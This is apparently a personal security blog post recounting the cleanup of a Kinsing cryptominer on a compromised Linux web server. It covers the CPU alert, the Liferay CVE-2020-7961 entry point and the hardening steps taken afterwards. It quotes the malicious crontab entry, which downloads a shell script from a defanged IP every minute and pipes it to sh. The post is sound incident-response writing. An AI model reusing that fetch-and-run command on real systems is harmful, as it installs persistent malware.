Pages

Apr 26, 2020

Remediating Kinsing CoinMiner on Compromised Linux Server

Kinsing Coinminer is a Golang-based Linux malware agent that leverage the compromised server's resources for crypto mining process.

Related: https://www.trendmicro.com/vinfo/my/security/news/virtualization-and-cloud/misconfigured-docker-daemon-api-ports-attacked-for-kinsing-malware-campaign

I've recently been approached by my colleague to assist on compromise issue on Linux webserver, and after initial checking and (re)-searching on several indicators, the issue was related to Kinsing Coinminer compromise issue.

---

On April 24th 11:03 PM, the cloud hosting dashboard alerted that CPU usage reached max threshold (~375.5%) for the last 2 hours, where the normal usage was around 5-10%. 

The functionality of benign processes running the server were disrupted during the incident, and the website hosted there was returning connection timed out.

I managed to get into the server via SSH connection and found suspicious crontab as follows;


root@<snip>:~ # crontab -l
* * * * * wget -q -O 0 http://195.3.146[.]188/unk.sh | sh > /dev/null 2>&1


and the suspicious background process found as follows;


/tmp/kdevtmpsfi (375%)
/var/tmp/kinsing


The compromise issue was remediated by removing the bad cronjob and processes above. I've further monitored the issue but no re-infection occurs after several minutes of the cleanup process. 

I then proceed with checking the Apache logs and found the incident occurs through exploitation of vulnerable web application called 'Liferay' through CVE-2020-7961 (https://www.synacktiv.com/posts/pentest/how-to-exploit-liferay-cve-2020- 7961-quick-journey-to-poc.html)

After revealing about the vulnerability, it was decided that the application has to be killed and properly patched before it can run again on the server.

I then assist on the hardening process such as re-scanning via clam-av, rkhunter, disable password authentication on SSH and replace with public/private key authentication, install fail2ban, and re-configure the firewall on the server, among other countermeasures.

Luckily the crypto miner-based infection is quite noisy (in terms of server alert) due to abnormally high demand/usage of server resources, thus the compromise issue for such infection could be handled promptly before it could take advantage of the resources extensively.